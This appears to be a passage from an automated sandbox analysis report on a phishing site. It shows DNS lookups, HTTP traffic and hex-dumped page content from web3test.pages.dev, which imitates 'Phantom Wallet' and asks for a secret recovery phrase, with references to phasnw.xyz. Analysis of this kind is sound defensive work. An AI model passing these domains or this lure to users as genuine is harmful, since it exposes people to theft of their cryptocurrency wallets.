Mar 14, 2025 09:51:11.629214048 CET	192.168.2.5	1.1.1.1	c27d	(Port unreachable)	Destination Unreachable
Mar 14, 2025 09:51:13.509097099 CET	192.168.2.5	1.1.1.1	c222	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 14, 2025 09:51:10.952177048 CET	192.168.2.5	1.1.1.1	0xcbeb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:10.952409029 CET	192.168.2.5	1.1.1.1	0x1197	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 14, 2025 09:51:11.577517986 CET	192.168.2.5	1.1.1.1	0x1e77	Standard query (0)	web3test.pages.dev	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:11.577517986 CET	192.168.2.5	1.1.1.1	0xba54	Standard query (0)	web3test.pages.dev	65	IN (0x0001)	false
Mar 14, 2025 09:51:12.319797039 CET	192.168.2.5	1.1.1.1	0xaf36	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.320369005 CET	192.168.2.5	1.1.1.1	0x68ca	Standard query (0)	phasnw.xyz	65	IN (0x0001)	false
Mar 14, 2025 09:51:12.333272934 CET	192.168.2.5	1.1.1.1	0xdf75	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.343436003 CET	192.168.2.5	1.1.1.1	0x803b	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.343569994 CET	192.168.2.5	1.1.1.1	0x1bcb	Standard query (0)	phasnw.xyz	65	IN (0x0001)	false
Mar 14, 2025 09:51:12.429764032 CET	192.168.2.5	1.1.1.1	0x9f9e	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.429948092 CET	192.168.2.5	1.1.1.1	0x154b	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 14, 2025 09:51:12.430607080 CET	192.168.2.5	1.1.1.1	0xd08f	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.430763006 CET	192.168.2.5	1.1.1.1	0x33c	Standard query (0)	phasnw.xyz	65	IN (0x0001)	false
Mar 14, 2025 09:51:12.441190958 CET	192.168.2.5	1.1.1.1	0x8043	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.441462994 CET	192.168.2.5	1.1.1.1	0xc69c	Standard query (0)	phasnw.xyz	65	IN (0x0001)	false
Mar 14, 2025 09:51:12.459985018 CET	192.168.2.5	1.1.1.1	0x7190	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.460216999 CET	192.168.2.5	1.1.1.1	0xe8b3	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 14, 2025 09:51:12.460624933 CET	192.168.2.5	1.1.1.1	0xcaf2	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.460845947 CET	192.168.2.5	1.1.1.1	0x9590	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.289304018 CET	192.168.2.5	1.1.1.1	0x60cb	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.289813042 CET	192.168.2.5	1.1.1.1	0x7f3b	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.290901899 CET	192.168.2.5	1.1.1.1	0x6de7	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.291214943 CET	192.168.2.5	1.1.1.1	0xbcf3	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.291532993 CET	192.168.2.5	1.1.1.1	0x1c89	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.432466984 CET	192.168.2.5	1.1.1.1	0x967d	Standard query (0)	phasnw.xyz	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.445599079 CET	192.168.2.5	1.1.1.1	0x40c5	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.445842981 CET	192.168.2.5	1.1.1.1	0x178e	Standard query (0)	phasnw.xyz	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.458941936 CET	192.168.2.5	1.1.1.1	0x1f32	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.459084034 CET	192.168.2.5	1.1.1.1	0xd72f	Standard query (0)	phasnw.xyz	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.471288919 CET	192.168.2.5	1.1.1.1	0x80fe	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.471441031 CET	192.168.2.5	1.1.1.1	0xdb4a	Standard query (0)	phasnw.xyz	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.494450092 CET	192.168.2.5	1.1.1.1	0x1de7	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.494816065 CET	192.168.2.5	1.1.1.1	0x24e4	Standard query (0)	phasnw.xyz	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.515866041 CET	192.168.2.5	1.1.1.1	0x398a	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.516227961 CET	192.168.2.5	1.1.1.1	0x1e95	Standard query (0)	phasnw.xyz	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.529550076 CET	192.168.2.5	1.1.1.1	0xc01	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.529550076 CET	192.168.2.5	1.1.1.1	0xdcad	Standard query (0)	phasnw.xyz	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.543823957 CET	192.168.2.5	1.1.1.1	0x31bf	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.543895006 CET	192.168.2.5	1.1.1.1	0x1bb9	Standard query (0)	phasnw.xyz	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.604139090 CET	192.168.2.5	1.1.1.1	0xab71	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.604335070 CET	192.168.2.5	1.1.1.1	0xab2c	Standard query (0)	phasnw.xyz	65	IN (0x0001)	false
Mar 14, 2025 09:51:14.471034050 CET	192.168.2.5	1.1.1.1	0x8c78	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:14.471219063 CET	192.168.2.5	1.1.1.1	0x4d44	Standard query (0)	phasnw.xyz	65	IN (0x0001)	false
Mar 14, 2025 09:51:14.546952963 CET	192.168.2.5	1.1.1.1	0x2142	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:14.547221899 CET	192.168.2.5	1.1.1.1	0xa626	Standard query (0)	phasnw.xyz	65	IN (0x0001)	false
Mar 14, 2025 09:51:14.558918953 CET	192.168.2.5	1.1.1.1	0x5728	Standard query (0)	phasnw.xyz	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:14.559287071 CET	192.168.2.5	1.1.1.1	0x6ce4	Standard query (0)	phasnw.xyz	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 14, 2025 09:51:10.960824966 CET	1.1.1.1	192.168.2.5	0x1197	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 14, 2025 09:51:10.960849047 CET	1.1.1.1	192.168.2.5	0xcbeb	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:11.587851048 CET	1.1.1.1	192.168.2.5	0x1e77	No error (0)	web3test.pages.dev		172.66.46.238	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:11.587851048 CET	1.1.1.1	192.168.2.5	0x1e77	No error (0)	web3test.pages.dev		172.66.45.18	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:11.629125118 CET	1.1.1.1	192.168.2.5	0xba54	No error (0)	web3test.pages.dev			65	IN (0x0001)	false
Mar 14, 2025 09:51:12.332060099 CET	1.1.1.1	192.168.2.5	0xaf36	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.332077026 CET	1.1.1.1	192.168.2.5	0x68ca	Name error (3)	phasnw.xyz	none	none	65	IN (0x0001)	false
Mar 14, 2025 09:51:12.342382908 CET	1.1.1.1	192.168.2.5	0xdf75	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.352241039 CET	1.1.1.1	192.168.2.5	0x803b	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.352662086 CET	1.1.1.1	192.168.2.5	0x1bcb	Name error (3)	phasnw.xyz	none	none	65	IN (0x0001)	false
Mar 14, 2025 09:51:12.436302900 CET	1.1.1.1	192.168.2.5	0x9f9e	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.436302900 CET	1.1.1.1	192.168.2.5	0x9f9e	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.436302900 CET	1.1.1.1	192.168.2.5	0x9f9e	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.436302900 CET	1.1.1.1	192.168.2.5	0x9f9e	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.439793110 CET	1.1.1.1	192.168.2.5	0xd08f	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.440267086 CET	1.1.1.1	192.168.2.5	0x33c	Name error (3)	phasnw.xyz	none	none	65	IN (0x0001)	false
Mar 14, 2025 09:51:12.450222015 CET	1.1.1.1	192.168.2.5	0x8043	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.466430902 CET	1.1.1.1	192.168.2.5	0x7190	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.466430902 CET	1.1.1.1	192.168.2.5	0x7190	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.466965914 CET	1.1.1.1	192.168.2.5	0xe8b3	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 14, 2025 09:51:12.467241049 CET	1.1.1.1	192.168.2.5	0xcaf2	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.467241049 CET	1.1.1.1	192.168.2.5	0xcaf2	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:12.468889952 CET	1.1.1.1	192.168.2.5	0x9590	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Mar 14, 2025 09:51:13.296869993 CET	1.1.1.1	192.168.2.5	0x60cb	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.296869993 CET	1.1.1.1	192.168.2.5	0x60cb	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.297557116 CET	1.1.1.1	192.168.2.5	0x6de7	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 14, 2025 09:51:13.297557116 CET	1.1.1.1	192.168.2.5	0x6de7	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.297557116 CET	1.1.1.1	192.168.2.5	0x6de7	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.297557116 CET	1.1.1.1	192.168.2.5	0x6de7	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.297557116 CET	1.1.1.1	192.168.2.5	0x6de7	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.297981977 CET	1.1.1.1	192.168.2.5	0xbcf3	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 14, 2025 09:51:13.299030066 CET	1.1.1.1	192.168.2.5	0x7f3b	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Mar 14, 2025 09:51:13.301363945 CET	1.1.1.1	192.168.2.5	0x1c89	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.442745924 CET	1.1.1.1	192.168.2.5	0x967d	Name error (3)	phasnw.xyz	none	none	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.454984903 CET	1.1.1.1	192.168.2.5	0x40c5	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.455799103 CET	1.1.1.1	192.168.2.5	0x178e	Name error (3)	phasnw.xyz	none	none	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.466706038 CET	1.1.1.1	192.168.2.5	0x1f32	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.468839884 CET	1.1.1.1	192.168.2.5	0xd72f	Name error (3)	phasnw.xyz	none	none	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.480600119 CET	1.1.1.1	192.168.2.5	0x80fe	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.503715038 CET	1.1.1.1	192.168.2.5	0x1de7	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.503992081 CET	1.1.1.1	192.168.2.5	0x24e4	Name error (3)	phasnw.xyz	none	none	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.509018898 CET	1.1.1.1	192.168.2.5	0xdb4a	Name error (3)	phasnw.xyz	none	none	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.524183035 CET	1.1.1.1	192.168.2.5	0x398a	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.526468992 CET	1.1.1.1	192.168.2.5	0x1e95	Name error (3)	phasnw.xyz	none	none	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.537256002 CET	1.1.1.1	192.168.2.5	0xc01	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.538867950 CET	1.1.1.1	192.168.2.5	0xdcad	Name error (3)	phasnw.xyz	none	none	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.551409006 CET	1.1.1.1	192.168.2.5	0x1bb9	Name error (3)	phasnw.xyz	none	none	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.552865028 CET	1.1.1.1	192.168.2.5	0x31bf	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:13.611742020 CET	1.1.1.1	192.168.2.5	0xab2c	Name error (3)	phasnw.xyz	none	none	65	IN (0x0001)	false
Mar 14, 2025 09:51:13.612255096 CET	1.1.1.1	192.168.2.5	0xab71	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:14.479664087 CET	1.1.1.1	192.168.2.5	0x4d44	Name error (3)	phasnw.xyz	none	none	65	IN (0x0001)	false
Mar 14, 2025 09:51:14.479712009 CET	1.1.1.1	192.168.2.5	0x8c78	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:14.555212021 CET	1.1.1.1	192.168.2.5	0x2142	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:14.555759907 CET	1.1.1.1	192.168.2.5	0xa626	Name error (3)	phasnw.xyz	none	none	65	IN (0x0001)	false
Mar 14, 2025 09:51:14.568662882 CET	1.1.1.1	192.168.2.5	0x5728	Name error (3)	phasnw.xyz	none	none	A (IP address)	IN (0x0001)	false
Mar 14, 2025 09:51:14.568802118 CET	1.1.1.1	192.168.2.5	0x6ce4	Name error (3)	phasnw.xyz	none	none	65	IN (0x0001)	false

HTTP Request Dependency Graph

web3test.pages.dev

code.jquery.com

cdnjs.cloudflare.com

maxcdn.bootstrapcdn.com

stackpath.bootstrapcdn.com

cdn.jsdelivr.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49720	172.66.46.238	443	6876	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 08:51:12 UTC	668	OUT	GET / HTTP/1.1 Host: web3test.pages.dev Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 08:51:12 UTC	928	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 08:51:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ec0lR9iZaUw6mQlMuoYop2ayzL2IjUSQV0rtytUFMGx76hkhLgBZEbz8hMnSQi%2B2qA9BUeXjU4I60Y9LOaUMTXqC3VTejtyz1KJuXPp6H66vpSrm9ebdpSnSOCUzEpB8a2BCWAU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92028720ec40b432-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1943&min_rtt=1937&rtt_var=739&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1240&delivery_rate=1467336&cwnd=111&unsent_bytes=0&cid=b081f99d69fba240&ts=153&x=0"
2025-03-14 08:51:12 UTC	441	IN	Data Raw: 37 63 64 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f Data Ascii: 7cd8<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name='robots' content='noindex, nofollow' /> <meta name="viewport" content="width=device-width, initial-scale=1"> ... This site is optimized with the Yoast SEO
2025-03-14 08:51:12 UTC	1369	IN	Data Raw: 69 63 6c 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 68 61 6e 74 6f 6d 20 57 61 6c 6c 65 74 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 72 65 74 20 52 65 63 6f 76 65 72 79 20 50 68 72 61 73 65 20 49 6d 70 6f 72 74 20 61 6e 20 65 78 69 73 74 69 6e 67 20 77 61 6c 6c 65 74 20 77 69 74 68 20 79 6f 75 72 31 32 20 6f 72 20 32 34 2d 77 6f 72 64 20 73 65 63 72 65 74 20 72 65 63 6f 76 65 72 79 20 70 68 72 61 73 65 2e 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a Data Ascii: icle" /> <meta property="og:title" content="Phantom Wallet" /> <meta property="og:description" content="Secret Recovery Phrase Import an existing wallet with your12 or 24-word secret recovery phrase." /> <meta property="og:url" content="https:
2025-03-14 08:51:12 UTC	1369	IN	Data Raw: 2f 2f 70 68 61 73 6e 77 2e 78 79 7a 2f 65 6e 74 65 72 2f 23 70 72 69 6d 61 72 79 69 6d 61 67 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 74 68 75 6d 62 6e 61 69 6c 55 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 70 68 61 73 6e 77 2e 78 79 7a 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 65 6c 65 6d 65 6e 74 6f 72 2f 74 68 75 6d 62 73 2f 6c 6f 67 6f 2d 70 7a 65 39 6d 36 78 78 34 79 61 64 32 65 62 63 78 7a 67 62 71 65 78 76 34 75 6e 33 37 77 6b 6d 30 69 35 68 38 77 72 69 36 63 2e 70 6e 67 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 64 61 74 65 50 75 62 6c 69 73 68 65 64 22 3a 20 22 32 30 32 32 2d 31 32 2d 31 39 54 31 34 3a 30 36 3a 33 38 2b 30 30 3a 30 30 22 Data Ascii: //phasnw.xyz/enter/#primaryimage" }, "thumbnailUrl": "https://phasnw.xyz/wp-content/uploads/elementor/thumbs/logo-pze9m6xx4yad2ebcxzgbqexv4un37wkm0i5h8wri6c.png", "datePublished": "2022-12-19T14:06:38+00:00"
2025-03-14 08:51:12 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 22 75 72 6c 54 65 6d 70 6c 61 74 65 22 3a 20 22 68 74 74 70 73 3a 2f 2f 70 68 61 73 6e 77 2e 78 79 7a 2f 3f 73 3d 7b 73 65 61 72 63 68 5f 74 65 72 6d 5f 73 74 72 69 6e 67 7d 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 71 75 65 72 79 2d 69 6e 70 75 74 22 3a 20 22 72 65 71 75 69 72 65 64 20 6e 61 6d 65 3d 73 65 61 72 63 68 5f 74 65 72 6d 5f 73 74 72 69 6e 67 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 69 6e 4c 61 6e 67 75 61 67 65 22 3a 20 22 65 6e 2d 55 53 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 5d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 Data Ascii: "urlTemplate": "https://phasnw.xyz/?s={search_term_string}" }, "query-input": "required name=search_term_string" }], "inLanguage": "en-US" }] } </script
2025-03-14 08:51:12 UTC	1369	IN	Data Raw: 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 20 74 2c 20 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 20 30 2c 20 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 20 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 20 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 20 30 2c 20 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 20 30 2c 20 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 20 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 20 3d 20 28 65 2e 63 6c Data Ascii: function p(e, t, n) { e.clearRect(0, 0, e.canvas.width, e.canvas.height), e.fillText(t, 0, 0); var t = new Uint32Array(e.getImageData(0, 0, e.canvas.width, e.canvas.height).data), r = (e.cl
2025-03-14 08:51:12 UTC	1369	IN	Data Raw: 6e 76 61 73 28 33 30 30 2c 20 31 35 30 29 20 3a 20 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 20 3d 20 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c 79 3a 20 21 30 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 20 3d 20 28 61 2e 74 65 78 74 42 61 73 65 6c 69 6e 65 20 3d 20 22 74 6f 70 22 2c 20 61 2e 66 6f 6e 74 20 3d 20 22 36 30 30 20 33 32 70 78 20 41 72 69 61 6c 22 2c 20 7b 7d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: nvas(300, 150) : i.createElement("canvas"), a = r.getContext("2d", { willReadFrequently: !0 }), o = (a.textBaseline = "top", a.font = "600 32px Arial", {});
2025-03-14 08:51:12 UTC	1369	IN	Data Raw: 66 69 6e 65 64 22 20 21 3d 20 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 20 26 26 20 22 75 6e 64 65 66 69 6e 65 64 22 20 21 3d 20 74 79 70 65 6f 66 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 20 26 26 20 22 75 6e 64 65 66 69 6e 65 64 22 20 21 3d 20 74 79 70 65 6f 66 20 55 52 4c 20 26 26 20 55 52 4c 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 4c 20 26 26 20 22 75 6e 64 65 66 69 6e 65 64 22 20 21 3d 20 74 79 70 65 6f 66 20 42 6c 6f 62 29 20 74 72 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 65 20 3d 20 22 70 6f 73 74 4d 65 73 73 61 67 65 28 22 20 2b 20 66 2e 74 6f 53 74 72 69 6e 67 28 29 20 2b 20 22 28 22 20 2b 20 5b 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 73 29 2c 20 75 2e 74 6f 53 74 72 69 6e 67 28 Data Ascii: fined" != typeof Worker && "undefined" != typeof OffscreenCanvas && "undefined" != typeof URL && URL.createObjectURL && "undefined" != typeof Blob) try { var e = "postMessage(" + f.toString() + "(" + [JSON.stringify(s), u.toString(
